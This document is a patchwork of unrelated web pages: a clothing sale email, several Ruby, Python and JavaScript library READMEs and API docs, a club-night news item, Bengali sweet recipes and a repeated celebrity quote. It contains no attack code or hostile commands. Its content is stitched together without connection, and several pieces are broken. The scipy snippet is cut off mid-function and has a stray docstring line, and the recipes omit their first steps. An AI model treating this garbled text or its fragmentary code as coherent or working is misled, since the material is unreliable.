--- subject: newin20170322-2 --- Share with Friends | View in Browser FLASH SALE DRESSES TOPS SALE KNITWEAR NEW IN ELENYUN Half Sleeve Midi Dress YIYIQI Wool Blend Sweater Dress ke-ying-yi Crew Neck Midi Dress Maxlindy Sleeve Sheath Midi Dress Jade&Cloud Angora-blend Casual Asymmetrical Sweater Mara Carol Knitted Long Sleeved Top Jade&Cloud Brooch Blouse With Camis Moonbasa Lady Crew Neck Simple Blouse YZXH Lace Geometric Midi Dress JIANSHAN Sleeve Casual Sweater Dress Mara Carol Sleeve Solid Knitted Sweater Sikya V Neck Simple Sweater RAFURA Leather Sweet Top Handle DLMY Embossed PU Crossbody Bag Motif Pastel Presence Choker Choker Love & Beauty Crystal Gold Plated Earrings She's Sleeve Mermaid Party Dress She's Ruched Solid Party Dress Riwins A-line Midi Dress Hoyugo Printed Sleeveless Mini Dress JIANSHAN Appliqued Floral Midi Dress DIYA Floral Print Maxi Dress DIYA Crew Neck Maxi Dress Maxlindy A-line Midi Dress Maxlindy A-line Maxi Dress ELENYUN Long Sleeve Mini Dress ONEBUYE Elegant Embroidery Midi Dress Y&M Sleeve Cotton Work Dress OUSHANG Asymmetrical Color-block Blouse Feizing Floral-print Floral Blouse Poscilla Print Crew Neck Tunic ELENYUN Floral-print Casual Blouse NEW IN \ SHOES LINEN CLOTH \ KNITWEAR DRESSES \ BOTTOMS TOPS \ SET BAGS & ACCS \ GET THE APP GET 20% OFF Your First order on APP If you no longer wish to receive this mail,please Unsubscribe If you have any questions regarding your orders or products, please contact us at<EMAIL_ADDRESS>Share with Friends | View in Browser
FLASH SALE
DRESSES
TOPS
SALE
KNITWEAR
NEW IN
SHOES
LINEN CLOTH
BOTTOMS
SET
BAGS & ACCS
GET THE APP
GET 20% OFF Your First order on APP


ActiverecordActivityTracker¶ ↑
activerecord_activity_tracker
provides simple yet powerful
activity tracker for your Rails ActiveRecord models.
This gem will allows you to create the data model for social news feed used in many modern platform in no time.
Note:
This is an abstract gem, thus there are no views or
controllers provided.
Features¶ ↑
-
Track model's creation and/or updating activities.
-
Track any custom activity's event easily.
-
Add optional data to any custom activity.
-
Set owner once, and use it in all tracked models seamlessly.
Usage¶ ↑
Track a model¶ ↑
-
Include
ActiverecordActivityTracker::ActsAsTrackable
-
For automatic tracking add
acts_as_trackable
-
For custom event use
create_ar_activity
Set default owner (user)¶ ↑
-
Include
ActiverecordActivityTracker::Owner
-
To set the owner use
set_owner(current_user)
-
To get the owner use
get_owner
-
To clear owner use
clear_owner
Note:
setting the owner is required, as each activity must
have an owner, see set
default owner example
Access model's tracked activities¶ ↑
-
Include
ActiverecordActivityTracker::ActsAsTrackable
-
Use
ar_activities
Examples¶ ↑
Track comment's creation¶ ↑
# app/models/comment.rb class Comment < ApplicationRecord include ActiverecordActivityTracker::ActsAsTrackable acts_as_trackable [:create] end
Track comment's creation and modification¶ ↑
# app/models/comment.rb class Comment < ApplicationRecord include ActiverecordActivityTracker::ActsAsTrackable acts_as_trackable [:create, :update] end
Track comment's custom event (title's change)¶ ↑
# app/models/comment.rb class Comment < ApplicationRecord include ActiverecordActivityTracker::ActsAsTrackable after_update :add_title_change_activity private def add_title_change_activity create_ar_activity(key: 'comment.title.change') if saved_change_to_title? end end
Set default owner to devise current_user¶ ↑
Note:
owner is a polymorphic relation, thus any model can be
used, not just user.
# app/controllers/application_controller.rb class ApplicationController < ActionController::Base include ActiverecordActivityTracker::Owner protect_from_forgery with: :exception around_action :set_ar_activity_owner private def set_ar_activity_owner set_owner current_user yield ensure clear_owner end end
Access comment's activities¶ ↑
<!-- app/views/comments/show.erb --> <% @comment.ar_activities.each do |activity| %> <%= activity.key %> <br> <% end %>
Installation¶ ↑
Add this line to your application's Gemfile:
gem 'activerecord_activity_tracker'
And then execute: bash $ bundle
Or install it yourself as: bash $ gem install
activerecord_activity_tracker
Setup¶ ↑
Execute this line in your application's directory: bash $ rails
generate activerecord_activity_tracker:install
And then execute: bash $ rails db:migrate
Documentation / API¶ ↑
ActiverecordActivityTracker::ActsAsTrackable¶ ↑
-
acts_as_trackable(tracked = [:create, :update]) => nil
Overview: Track model automatically.Parameters: tracked (array) (defaults to: [:create, :update]) -- instance options to set the tracked events.
-
create_ar_activity(options = {}) => nil
Overview: Create custom activity, prevent duplication.Options: - key (string) (defaults to: "#{model_name.param_key}.create"). - owner (active_record_relation) (defaults to: get_owner). - data (string) (defaults to: nil).
Parameters: -- options (hash) (defaults to: {}) -- instance options to set custom params.
-
create_ar_activity!(options = {}) => nil
Overview: Similar tocreate_ar_activity
but allows duplication. -
has_many :ar_activities, as: :trackable, dependent: :destroy
Overview: Handle activities' relations.
ActiverecordActivityTracker::Owner¶ ↑
-
get_owner() => owner (active_record_model or nil)
Overview: Get the current owner -
set_owner(owner) => nil
Overview: Set the current owner.Parameters: owner (active_record_model) -- instance active record model to set current owner.
-
clear_owner => nil
Overview: Set the current owner to nil.
ArActivityTracker¶ ↑
Description¶ ↑
Activity model, to handle trackable and owner relations.
Data structure¶ ↑
t.string "trackable_type" t.integer
"trackable_id" t.string "owner_type"
t.integer "owner_id" t.string "key" t.string
"data"
Key default format¶ ↑
MODEL_NAME.ACTIVITY_TYPE
For example: Given a tracked
comment model
Comment
, then the keys (by default) will be:
comment.create
and comment.update
for creation
and modification activities respectively.
Contributing¶ ↑
-
Fork it ( github.com/mudafar/activerecord_activity_tracker/fork )
-
Create your feature branch (
git checkout -b my-new-feature
) -
Commit your changes (
git commit -am 'Add some feature'
) -
Push to the branch (
git push origin my-new-feature
) -
Create a new Pull Request
License¶ ↑
The gem is available as open source under the terms of the MIT License.


Room For Rebellion announces final party in Peckham
On November 29, Souvenir and Leila Samir will perform alongside Room for Rebellion's resident DJs at Peckham Rye
by James BallMulti-city pro-choice collective Room For Rebellion will host their final party, for the foreseeable future, at Peckham Rye on November 29.
The event will celebrate the the repealing of the 8th in the Republic of Ireland and recent law reform in Northern Ireland around abortion rights and LGBQT+ rights, both causes which the collective have campaigned for in the past.
Read this next: Meet the promoters fighting Ireland's archaic abortion laws
London duo Souvenir and NTS resident Leila Samir will perform alongside Room for Rebellion's resident DJs.
Proceeds from the event will go to Northern Irish organisation Alliance for Choice and their current #Crunchtime4Choice campaign.
Read this next: 10 UK club nights that support good causes
For more information, head to the event's Facebook page. You can get your tickets here.
James Ball is Mixmag's Weekend Editor. Follow him on Twitter
Read this next: Get the best of Mixmag direct to your Facebook DMs
Mixmag Weekly
Get closer to dance music. Sign up for the Mixmag newsletter
Sign me up!


self.A = np.eye(n)
self.sparse_jacobian = False
self.m = self.n = n
self.H = sps.csr_matrix((n, n))
def fun(self, x):
return x
identically zero and it is returned as a csr matrix.
def __init__(self, x0, sparse_jacobian):
n = len(x0)
if sparse_jacobian or sparse_jacobian is None:
A = sps.eye(n, format="csr")
sparse_jacobian = True
else:


Zone de configuration de l'extension de l'Ecole 241
I will be the leader of a company that ends up being worth billions of dollars, because I got the answers. I understand culture. I am the nucleus. I think that’s a responsibility that I have, to push possibilities, to show people, this is the level that things could be at. I think that’s a responsibility that I have, to push possibilities, to show people, this is the level that things could be at.
I think that’s a responsibility that I have, to push possibilities, to show people, this is the level that things could be at. So when you get something that has the name Kanye West on it, it’s supposed to be pushing the furthest possibilities. I will be the leader of a company that ends up being worth billions of dollars, because I got the answers. I understand culture. I am the nucleus.
"I will be the leader of a company that ends up being worth billions of dollars, because I got the answers. I understand culture. I am the nucleus. I think that’s a responsibility that I have, to push possibilities, to show people, this is the level that things could be at."


Provides helper methods for testing Active Job
- A
- B
- C
- P
- Q
- S
Source: show
# File<EMAIL_ADDRESS>line 17 def after_teardown super ActiveJob::Base.queue_adapter = @old_queue_adapter end
Asserts that the number of enqueued jobs matches the given number.
def test_jobs
assert_enqueued_jobs 0
HelloJob.perform_later('david')
assert_enqueued_jobs 1
HelloJob.perform_later('abdelkader')
assert_enqueued_jobs 2
end
If a block is passed, that block should cause the specified number of jobs to be enqueued.
def test_jobs_again
assert_enqueued_jobs 1 do
HelloJob.perform_later('cristian')
end
assert_enqueued_jobs 2 do
HelloJob.perform_later('aaron')
HelloJob.perform_later('rafael')
end
end
Source: show
# File<EMAIL_ADDRESS>line 45 def assert_enqueued_jobs(number) if block_given? original_count = enqueued_jobs.size yield new_count = enqueued_jobs.size assert_equal number, new_count - original_count, "#{number} jobs expected, but #{new_count - original_count} were enqueued" else enqueued_jobs_size = enqueued_jobs.size assert_equal number, enqueued_jobs_size, "#{number} jobs expected, but #{enqueued_jobs_size} were enqueued" end end
Asserts that the job passed in the block has been enqueued with the given arguments.
def test_assert_enqueued_with
assert_enqueued_with(job: MyJob, args: [1,2,3], queue: 'low') do
MyJob.perform_later(1,2,3)
end
end
Source: show
# File<EMAIL_ADDRESS>line 158 def assert_enqueued_with(args = {}, &_block) original_enqueued_jobs = enqueued_jobs.dup clear_enqueued_jobs args.assert_valid_keys(:job, :args, :at, :queue) serialized_args = serialize_args_for_assertion(args) yield matching_job = enqueued_jobs.any? do |job| serialized_args.all? { |key, value| value == job[key] } end assert matching_job, "No enqueued job found with #{args}" ensure queue_adapter.enqueued_jobs = original_enqueued_jobs + enqueued_jobs end
Asserts that no jobs have been enqueued.
def test_jobs
assert_no_enqueued_jobs
HelloJob.perform_later('jeremy')
assert_enqueued_jobs 1
end
If a block is passed, that block should not cause any job to be enqueued.
def test_jobs_again
assert_no_enqueued_jobs do
# No job should be enqueued from this block
end
end
Note: This assertion is simply a shortcut for:
assert_enqueued_jobs 0, &block
Source: show
# File<EMAIL_ADDRESS>line 77 def assert_no_enqueued_jobs(&block) assert_enqueued_jobs 0, &block end
Asserts that no jobs have been performed.
def test_jobs
assert_no_performed_jobs
perform_enqueued_jobs do
HelloJob.perform_later('matthew')
assert_performed_jobs 1
end
end
If a block is passed, that block should not cause any job to be performed.
def test_jobs_again
assert_no_performed_jobs do
# No job should be performed from this block
end
end
Note: This assertion is simply a shortcut for:
assert_performed_jobs 0, &block
Source: show
# File<EMAIL_ADDRESS>line 147 def assert_no_performed_jobs(&block) assert_performed_jobs 0, &block end
Asserts that the number of performed jobs matches the given number. If no
block is passed, perform_enqueued_jobs
must be called around
the job call.
def test_jobs
assert_performed_jobs 0
perform_enqueued_jobs do
HelloJob.perform_later('xavier')
end
assert_performed_jobs 1
perform_enqueued_jobs do
HelloJob.perform_later('yves')
assert_performed_jobs 2
end
end
If a block is passed, that block should cause the specified number of jobs to be performed.
def test_jobs_again
assert_performed_jobs 1 do
HelloJob.perform_later('robin')
end
assert_performed_jobs 2 do
HelloJob.perform_later('carlos')
HelloJob.perform_later('sean')
end
end
Source: show
# File<EMAIL_ADDRESS>line 112 def assert_performed_jobs(number) if block_given? original_count = performed_jobs.size perform_enqueued_jobs { yield } new_count = performed_jobs.size assert_equal number, new_count - original_count, "#{number} jobs expected, but #{new_count - original_count} were performed" else performed_jobs_size = performed_jobs.size assert_equal number, performed_jobs_size, "#{number} jobs expected, but #{performed_jobs_size} were performed" end end
Asserts that the job passed in the block has been performed with the given arguments.
def test_assert_performed_with
assert_performed_with(job: MyJob, args: [1,2,3], queue: 'high') do
MyJob.perform_later(1,2,3)
end
end
Source: show
# File<EMAIL_ADDRESS>line 179 def assert_performed_with(args = {}, &_block) original_performed_jobs = performed_jobs.dup clear_performed_jobs args.assert_valid_keys(:job, :args, :at, :queue) serialized_args = serialize_args_for_assertion(args) perform_enqueued_jobs { yield } matching_job = performed_jobs.any? do |job| serialized_args.all? { |key, value| value == job[key] } end assert matching_job, "No performed job found with #{args}" ensure queue_adapter.performed_jobs = original_performed_jobs + performed_jobs end
Source: show
# File<EMAIL_ADDRESS>line 9 def before_setup @old_queue_adapter = queue_adapter ActiveJob::Base.queue_adapter = :test clear_enqueued_jobs clear_performed_jobs super end
Source: show
# File<EMAIL_ADDRESS>line 213 def clear_enqueued_jobs enqueued_jobs.clear end
Source: show
# File<EMAIL_ADDRESS>line 217 def clear_performed_jobs performed_jobs.clear end
Source: show
# File<EMAIL_ADDRESS>line 193 def perform_enqueued_jobs @old_perform_enqueued_jobs = queue_adapter.perform_enqueued_jobs @old_perform_enqueued_at_jobs = queue_adapter.perform_enqueued_at_jobs queue_adapter.perform_enqueued_jobs = true queue_adapter.perform_enqueued_at_jobs = true yield ensure queue_adapter.perform_enqueued_jobs = @old_perform_enqueued_jobs queue_adapter.perform_enqueued_at_jobs = @old_perform_enqueued_at_jobs end
Source: show
# File<EMAIL_ADDRESS>line 204 def queue_adapter ActiveJob::Base.queue_adapter end
Source: show
# File<EMAIL_ADDRESS>line 221 def serialize_args_for_assertion(args) serialized_args = args.dup if job_args = serialized_args.delete(:args) serialized_args[:args] = ActiveJob::Arguments.serialize(job_args) end serialized_args end


mozilla/source-map
Warm up iterations:
Benchmark iterations:
Input source map: Scala.JS Runtime Source Map (15M) AngularJS Minified Source Map (424K) Source Map for Minified Version of mozilla/source-map (252K)
Multiply size by:
Implementation and Browser:


Hey! Open an account with Zerodha to invest in stocks and mutual funds. Use this link to get 300 reward points.


×
Info! Recipe details are directly from our kitchen or from our Moms’ recipe notes.
Cooking videos provided here are from internet. That’s why, they can vary a little bit.
We apologize! You can try any of them or customize your dish in your own way. Good luck!!
About
Bhapa pitha is a type of rice cake mainly from the eastern part of the Indian subcontinent, what is today Bangladesh, East India and Northeast India. Bhapa pitha is considered to be traditional winter dish in Bangladesh. These are steamed rice cakes made out of freshly ground rice flour. The filling is composed of coconut and date molasses. Either brown sugar or jaggery can often be used as a substitute for the molasses. It is believed to be originated in the region of ancient Kamrup i.e. today's Assam and then was spread to its nearby regions. In Assam it is known as ketli/tekeli pitha and is generally made on special occasions like Bihu with a specific rice known as "Bora Sual".Ingredients
For Vapa Pitha(Steamed Rice Sweet)
- 1 cup parboiled rice
- 2 tablespoon store-bought rice flour
- a pinch of salt
- ½ cup water
- 1 fresh coconut
- jaggery (prefer khejur gur, molasses from silver date palm).
Direction
Processing
Related Video
Step 2:Take two pieces of clean cotton cloth and two small bowls. then add the coconut and jaggery. Cover it with another layer of flour. Don’t press too much or else, it will break down while placing it for steaming. Cover it with a piece of cloth and put it in the steamer. Tap the bowl slightly, so that you can remove the bowl easily. Remove the bowl and cover the pitha with the remaining ends of the cloth.
Step 3:Then steam for 4/5 minutes. Prepare the same way using the other bowl and cloth. You have to remove one pitha and place another. After a while, you may serve the hot delicious vapa pitha. Of course, you have to serve the pitha in the hot condition. Only then vapa pitha is very tasty.
About
A Sweet dish submerged in milk!Ingredients
For DUDH PULI PITHA (COCONUT STUFFED DUMPLING IN SPICE INFUSED MILK)
- 2 cups desiccated coconut, unsweetened
- 1 cup milk
- jaggery
- 2 cups Rice flour
- 1 cup water
- 1/8 teaspoon salt
- milk
- 4 cups milk
- 1 cup sugar
- 3-4 small cardamom
Direction
Processing
Related Video
The mixture will be semi sticky but not runny.
Turn on stove and stir constantly until the mixture becomes slightly sticky.
Steps to make dumplings: Boil water.
Add salt.
Turn off stove and add rice flour to boiling water to form a firm but soft and not sticky dough.
The dough should bounce back if you press with a finger. Adjust flour accordingly.
Knead well for about 5 minutes.
Take part of the dough and roll it out as thick as a tortilla.
Cut out circles with a cookie cutter.
Place a small amount of coconut filling on each circle.
Brush the edges of with water and seal tightly to form a crescent (semi-circular) shape.
Steps to cook dumplings: Boil 4 cups milk and cardamom together in a non stick pan.
Add sugar and dissolve in the boiling milk.
Add the dumplings and cook about 30-45 minute in medium-low heat or until dumplings are cooked.
About
A bengali style pancake!Ingredients
For Chitoi(Bangladeshi Style Rice Pancake)
- Atop chal/Polau chal - 2 cups
- Lukewarm water - as required
- Salt - as required
Direction
Processing
Related Video
2. After two hours drain all water.
3. Pour the soaked rice into blender, along with salt and warm water as required.
4. Blend then until smooth paste.
5. Keep the batter into refrigerator for at least two hours, preferable to over night.
Step 2:1. Heat a chitoi pithe mold or cast iron wok on high heat.
2. Reduced heat to medium.
3. Pour 1/4 cup batter and cover it for 2-3 minutes.
4. Remove gently the edges of pitha, then remove fully from wok.
Step 3: Repeat the same process to make all pitha. Serve hot with coriander chutney or meat.
About
A round shaped bengali sweet!Ingredients
For Narkel Naru(Coconut & Jaggery Sweet Balls)
- 2 cups fresh grated coconut
- 1 cup organic jaggery powder or organic grated jaggery
- some ghee for greasing palms, you can also use coconut oil
Direction
Processing
Related Video
Step 2:Then add 1 cup jaggery powder or grated jaggery. Mix it very well with the coconut. Stirring non-stop cook the coconut and jaggery mixture for about 6 to 7 minutes.6. The jaggery will melt and mixture will slightly thicken. Do not cook too much as then the ladoos can become hard. To test take a small portion and let it cool down a bit. Then try to form a tiny ladoo with it. If the mixture easily can be shaped into a tiny ball, the ladoo mixture is ready. Switch off the flame and keep the pan on the countertop.
Step 3: Mix very well and let this mixture cool down completely. Spread a bit of ghee in your palms and taking small to medium sized portions make the ladoos. instead of ghee you can also use coconut oil. Store them in an air-tight container and refrigerate. Depending on the color of jaggery, the color of ladoos will vary from light brown to dark brown. This recipe makes about 10 ladoos. Serve narkel naru recipe as a sweet.
About
A designer bengali dry sweet!Ingredients
For Kheer Sondesh(Dried Milk Sweet)
- 1 litre milk
- Sugar – ¾ cup
- Ghee (clarified butter) ________________________________________
Direction
Processing
Related Video
Step 2:The mixture should come together to a consistency that can be molded. Let the mixture cool off completely Once cold, take about 2-3 tbsp and make a ball. Flatten the ball between the palm of your hands. Lightly press the mold on top of it and store aside. Repeat until you are done with the mixture. ________________________________________
About
Bengali Style Rolled Sweet!Ingredients
For Patishapta(A Sweet Bengali Roll)
For THE KHEER
- 1.5 kg milk
- 65 g sugar
FOR THE CRÊPE
- 1 cup flour
- 1 cup Chinigura rice flour
- 1.5 cup milk
- 1 cup water
- 1 pinch of salt
Direction
Processing
Related Video
Step 2:Take 1.5 kg milk in a heavy-bottom saucepan and set it to boil. Once bubbling, stir in 65 g sugar. Keep boiling the milk, while stirring it continuously, for about 90 minutes. During this entire time, the pot should be on medium to low heat. At regular intervals of 3–4 minutes, be sure to scrape the solids from the bottom and sides of the pot, and incorporate them into the boiling milk. This step, as well as the previous one, is crucial. We don’t want our kheer to burn at any point. Once the milk has thickened such that when you lift some of it on your spoon and drop it, it falls in clumps. Add this paste to the pot. Stir and cook for another 5 minutes. Allow the kheer to cool before proceeding to the next stage.
Step 3: Divide the kheer in equal portions of 22 g each. Give your batter a quick stir till it is uniform. Now, set a non-stick pan on medium-low flame and allow it to heat up completely. Once the pan is hot, smear it with a very, very light coating of ghee(remember, we are already using a non-stick pan). Using a ladle, take about 25 g of the batter and drop it in the centre of the pan. Swirl it around gradually to form a thin crêpe, about 12 cm in diameter. Roll a portion of the kheer between your palms to form a log (about 8 cm long), and flatten it with your fingers. Place it at one end of the crêpe and start folding the crêpe into a roll, with the help of a spatula. [Note that we are cooking only one side of the crêpe.] Transfer the patishapta from the pan to a plate and proceed making the rest. These can be eaten hot, or they can be cooled and stored in the refrigerator for up to 7 days.
About
In the United States and some parts of Canada, pudding characteristically denotes a sweet milk-based dessert similar in consistency to egg-based custards, instant custards or a mousse, often commercially set using cornstarch, gelatin or similar collagen agent such as the Jell‑O brand line of products. In Commonwealth countries these puddings are known as custards (or curds) if they are egg-thickened, as blancmange if starch-thickened, and as jelly if gelatin-based. Pudding may also refer to other dishes such as bread pudding and rice pudding, although typically these names derive from their origin as British dishes.Ingredients
For Egg pudding
- Eggs - 3
- Sugar - 10 tbsp
- Milk - 2 cup
- Vanilla essence - 1/2 tsp
- Sugar (for caramel) - 2 tsp
Direction
Processing
Related Video
Step 2: Pour this mixture into the caramelised bowl and keep in the cooker with 1/2 cup water Pressure cook this mixture for 10 minutes and remove from the cooker after the pressure subsides
Step 3: Refrigerate and serve
About
Gulab jamun (also spelled gulaab jamun) is a milk-solid-based sweet from the Indian subcontinent, and a type of mithai, popular in India, Nepal, Pakistan (where it is known as gulab jamun), the Maldives (where it is known as gulaabujaanu), and Bangladesh (where it is known as gulab jam), as well as Myanmar. It is also common in Mauritius, Fiji, the Malay Peninsula, South Africa, and the Caribbean countries of Trinidad and Tobago, (where it is called rasgulla), Guyana, and Suriname. It is made mainly from milk solids, traditionally from khoya, which is milk reduced to the consistency of a soft dough. Modern recipes call for dried or powdered milk instead of khoya. It is often garnished with dried nuts such as almonds and cashews to enhance flavour.Ingredients
For Gulab Jamun
For Sugar Syrup
- 2 cups Sugar
- 5 cups Water
- 1 tsp Milk
- 1/4 tsp Cardamom Seeds
- 1/2 tsp Saffron
- 1/2 tsp Cardamom Powder
For Gulab Jamun Balls
- 1/2 cups Khoya, grated
- 1/2 tsp Baking Soda
- 1/2 cup Maida
- 1 tsp Milk
Direction
Processing
Related Video
Step 2:Take the grated Khoya in a medium size deep bowl. Add baking soda and maida. Combine them thoroughly but gently using a spoon. Add a teaspoon of milk to it and knead all of them together to make a smooth and soft dough. Add another teaspoon of milk if required. Make sure that the dough is a bit softer to avoid cracking of ball while deep frying.
Step 3:Divide the dough into equal parts and make smooth surfaced balls out of it. Now heat ghee in a pan over medium flame and add the Jamun balls to deep-fry them. Cook evenly until it becomes golden brown.  Now drain and let them cool for few minutes. Then immerse the gulab jamuns in the warm sugar syrup for at least 30 minutes. It increases in size when it soaks the sugar syrup. Hot and tasty sweet dish is ready to serve.
About
A chocolate brownie or simply a brownie is a square or rectangular chocolate baked confection. Brownies come in a variety of forms and may be either fudgy or cakey, depending on their density. They may include nuts, frosting, cream cheese, chocolate chips, or other ingredients. A variation made with brown sugar and vanilla rather than chocolate in the batter is called a blond brownie or blondie. The brownie was developed in the United States at the end of the 19th century and popularized in the U.S. and Canada during the first half of the 20th century.Ingredients
For Chocolate brownies
- 200g dark chocolate
- 100g unsalted butter, very soft
- 250g caster sugar
- 4 large free range eggs, beaten to mix
- 1tsp vanilla essence
- 60g plain flour
- 60g cocoa powder
Direction
Processing
Related Video
Step 2: When completely combined, spoon the mixture into a greased and lined tin and spread the mixture evenly. Bake in the heated oven for about 20 mins until the chocolate brownies are firm to the touch but still a bit fudgy. The chocolate will continue to cook slightly for a few mins after coming out of the oven.
Step 3:• Remove the tin from the oven and set on a wire cooling rack. Leave the chocolate brownies to cool completely before cutting into pieces. Store the brownies in an airtight container and eat within 4 days.
About
A mousse (/ˈmuːs/; French: [mus]; "foam") is a soft prepared food that incorporates air bubbles to give it a light and airy texture. It can range from light and fluffy to creamy and thick, depending on preparation techniques. A mousse may be sweet or savory.Ingredients
For Classic Chocolate Mousse
- ¾ cup chilled heavy cream, divided
- 4 large egg yolks
- ¼ cup brewed espresso or strong coffee, room temperature
- ⅛ teaspoon kosher salt
- 3 tablespoons sugar, divided
- 6 ounces semisweet chocolate (60–72% cacao), chopped
- 2 large egg whites
Direction
Processing
Related Video
Step 2:Using an electric mixer, beat egg whites in a medium bowl on medium speed until foamy. With mixer running, gradually beat in remaining 1 Tbsp. sugar. Increase speed to high and beat until stiff peaks form. Fold egg whites into chocolate mixture in 2 additions; fold reserved whipped cream into mixture just to blend. Divide mousse among 6 teacups or 4-oz. ramekins. Chill until firm, at least 2 hours.
Step 3: Just before serving, whisk remaining 1/4 cup cream in a small bowl to soft peaks; top each cup of mousse with a dollop of cream.
Do Ahead: Mousse can be made 1 day ahead. Cover and keep chilled. Let sit at room temperature 10 minutes before serving.
<
About
The amusing fact about Kachagolla is that Queen Bhabani then started greeting all her guests with Kachagolla and began sending it to royalties all over the Indian subcontinent and even in Britain. Sandesh -varieties-method of preparation-quality-packaging and shelf life. Chhana obtained with citric acid is usually preferred for the manufacture of sandesh. "kachagolla".Ingredients
For Kachagolla Sandesh
- Need 1 cup of chena.
- Need 3 tbsp - milk powder.
- It's 1.5 tbsp for condensed milk.
- You need 1.5 tbsp sugar.
Direction
Processing
Related Video
Step 2:Add cooked chena to rest of chena. Mix well. Spread 2 tbsp milk powder to plate.
 Ready to serve..
About
Rasgulla is an Indian syrupy dessert popular in the Indian subcontinent and regions with South Asian diaspora. It is made from ball-shaped dumplings of chhena (an Indian cottage cheese) and semolina dough, cooked in light syrup made of sugar. This is done until the syrup permeates the dumplings.Ingredients
For Rasgulla
- 2 litre milk
- 1 1/2 cup sugar
- 1 teaspoon rose water
- 3 tablespoon lime juice
- 3 cup water
- 1 tablespoon all purpose flour
- 2 teaspoon powdered green cardamom
Direction
Processing
Related Video
Step 2:Heat water in a pan. When it comes to a boil, add sugar and allow it to simmer on low flame. After 10 minutes, check the syrup by taking a drop of the syrup in a spoon. If it is of one string consistency, your syrup is ready. Add the juice of half a lemon. This will prevent the syrup from granulating later. Also add gulab jal and cardamom powder. Switch off the gas. Take the chhena from the muslin cloth and keep rubbing portions of it from your hand. At this point add the maida. You have to rub it so much that it becomes completely smooth and starts releasing a little oil. Once your chhena is smooth enough and much lighter in texture, make smooth round balls and keep aside.
Step 3:Meanwhile heat the sugar syrup again, till it reaches a boiling point.  Add the rasgullas one by one in the syrup ensuring there is enough space in the pan. Boil for 5-7 minutes on low flame. Do not stir. ow cover the pan and allow it to simmer on low flame for 5-7 minutes. When you remove the lid, you will be delighted to see that the rasgullas have swelled up and are looking beautiful! Switch off the flame and allow it to cool. The rasgullas can be enjoyed warm or cold. You can also relish them topped with fruits or ice cream.


{%extends "base_pgus.html"%} {%load pgmarkdown%} {%block title%}Past Events{%endblock%} {%block layoutblock%} past events {%include "events/compacteventlist.inc" with events=past splityears=1%} {%endblock%}


Sorry, there was an error loading characters.
Choose the correct name for the character shown before the timer expires.
OK, got it!
Find out more about this character:
{{name}}
Play again
or


Radiant Consumer
This is a plugin that allows importing content from radiant page parts or snippets into another Rails project.
INSTALL
Requires RadiantCommodity extension to be installed in your radiant from github.com/boost/radiant-commodity
ruby script/plugin install git://github.com/boost/radiant-consumer.git
CONFIGURATION
In your environment file or an initializer:
RadiantConsumer.options = { :radiant_url => 'http://radiant.example.com', :expire_after => 10.minutes, :timeout => 5, :test_content => "Example content" }
Options:
| :radiant_url: | The URL of the radiant installation. This should be the base URL. |
| :expire_after: | The amount of time, in seconds, to cache the fetched content before fetching again. |
| :timeout: | The amount of time, in seconds, to timeout the request to fetch the content. |
| :environment_content: | Content to return for an environment instead of actually fetching. |
| :username: | Will use basic authentication if set |
| :password: | Password for basic authentication |
| :error_content: | Content to return if an error occurs while fetching from radiant (like a page doesn’t exist) |
| :raise_errors: | If true any errors the occur during the fetch will be raised. Otherwise they will fail silently |
In the above example any content will be refetched every 10 minutes, and the connection will timeout after 5 seconds. In the test environemnt all helpers will return “Example content”.
USAGE
In your views you can import a page body using:
<%= radiant_page('about') %>
This will fetch the page contents from radiant.example.com/about. The layout will not be included.
To fetch a page part:
<%= radiant_page_part('about', 'footer') %>
And to fetch a page snippet:
<%= radiant_snippet('snippet_name') %>
LICENSE
(The MIT License)
Copyright © 2009 Boost Limited www.boost.co.nz
Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the ‘Software’), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software.
 IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.


$swipe
ngTouch
The $swipe
service is a service that abstracts the messier details of hold-and-drag swipe
behavior, to make implementing swipe-related directives more convenient.
Requires the ngTouch
module to be installed.
$swipe
is used by the ngSwipeLeft
and ngSwipeRight
directives in ngTouch
, and by
ngCarousel
in a separate component.
The $swipe
service is an object with a single method: bind
. bind
takes an element
which is to be watched for swipes, and an object with four handler functions. See the
documentation for bind
below.
The main method of $swipe
. It takes an element to be watched for swipe motions, and an
object containing event handlers.
The four events are start
, move
, end
, and cancel
. start
, move
, and end
receive as a parameter a coordinates object of the form { x: 150, y: 310 }
.
start
is called on either mousedown
or touchstart
. After this event, $swipe
is
watching for touchmove
or mousemove
events. These events are ignored until the total
distance moved in either dimension exceeds a small threshold.
Once this threshold is exceeded, either the horizontal or vertical delta is greater.
- If the horizontal distance is greater, this is a swipe and move
and end
events follow.
- If the vertical distance is greater, this is a scroll, and we let the browser take over.
A cancel
event is sent.
move
is called on mousemove
and touchmove
after the above logic has determined that
a swipe is in progress.
end
is called when a swipe is successfully completed with a touchend
or mouseup
.
cancel
is called either on a touchcancel
from the browser, or when we begin scrolling
as described above.


WSGI Wrappers for a Request and Response
The WSGIRequest and WSGIResponse objects are light wrappers to make it easier to deal with an incoming request and sending a response.
WSGI Request API Object
This object represents a WSGI request with a more friendly interface. This does not expose every detail of the WSGI environment, and attempts to express nothing beyond what is available in the environment dictionary.
The only state maintained in this object is the desired charset, its associated errors handler, and the decode_param_names option.
The incoming parameter values will be automatically coerced to unicode objects of the charset encoding when charset is set. The incoming parameter names are not decoded to unicode unless the decode_param_names option is enabled.
When unicode is expected, charset will overridden by the the value of the Content-Type header’s charset parameter if one was specified by the client.
The class variable defaults specifies default values for charset, errors, and langauge. These can be overridden for the current request via the registry.
The language default value is considered the fallback during i18n translations to ensure in odd cases that mixed languages don’t occur should the language file contain the string but not another language in the accepted languages list. The language value only applies when getting a list of accepted languages from the HTTP Accept header.
This behavior is duplicated from Aquarium, and may seem strange but is very useful. Normally, everything in the code is in “en-us”. However, the “en-us” translation catalog is usually empty. If the user requests ["en-us", "zh-cn"] and a translation isn’t found for a string in “en-us”, you don’t want gettext to fallback to “zh-cn”. You want it to just use the string itself. Hence, if a string isn’t found in the language catalog, the string in the source code will be used.
All other state is kept in the environment dictionary; this is essential for interoperability.
You are free to subclass this object.
